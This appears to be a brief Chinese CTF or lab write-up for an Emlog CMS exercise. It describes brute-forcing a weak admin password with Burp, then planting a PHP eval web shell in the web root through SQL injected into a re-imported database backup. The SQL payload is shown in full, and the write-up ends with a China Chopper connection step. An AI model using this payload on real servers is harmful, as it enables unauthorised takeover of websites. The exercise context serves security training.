CMS系统漏洞分析溯源(第6题)

漏洞复现

思路：先爆破用户密码，再上传一句话木马

找到页面用户

用brup弱口令爆破

找到密码登录，备份数据库

在导出的sql文件中，写入下列sql，再导入进去

Drop TABLE IF EXISTS emlog_shell;
Create Table emlog_shell(`cmd` longtext NOT NULL);
Insert INTO emlog_shell VALUES('<?php @eval($_POST[pass]);?>');
Select cmd from emlog_shell into outfile '/var/www/html/pass.php';
Drop TABLE IF EXISTS emlog_shell;

后面就是菜刀连接了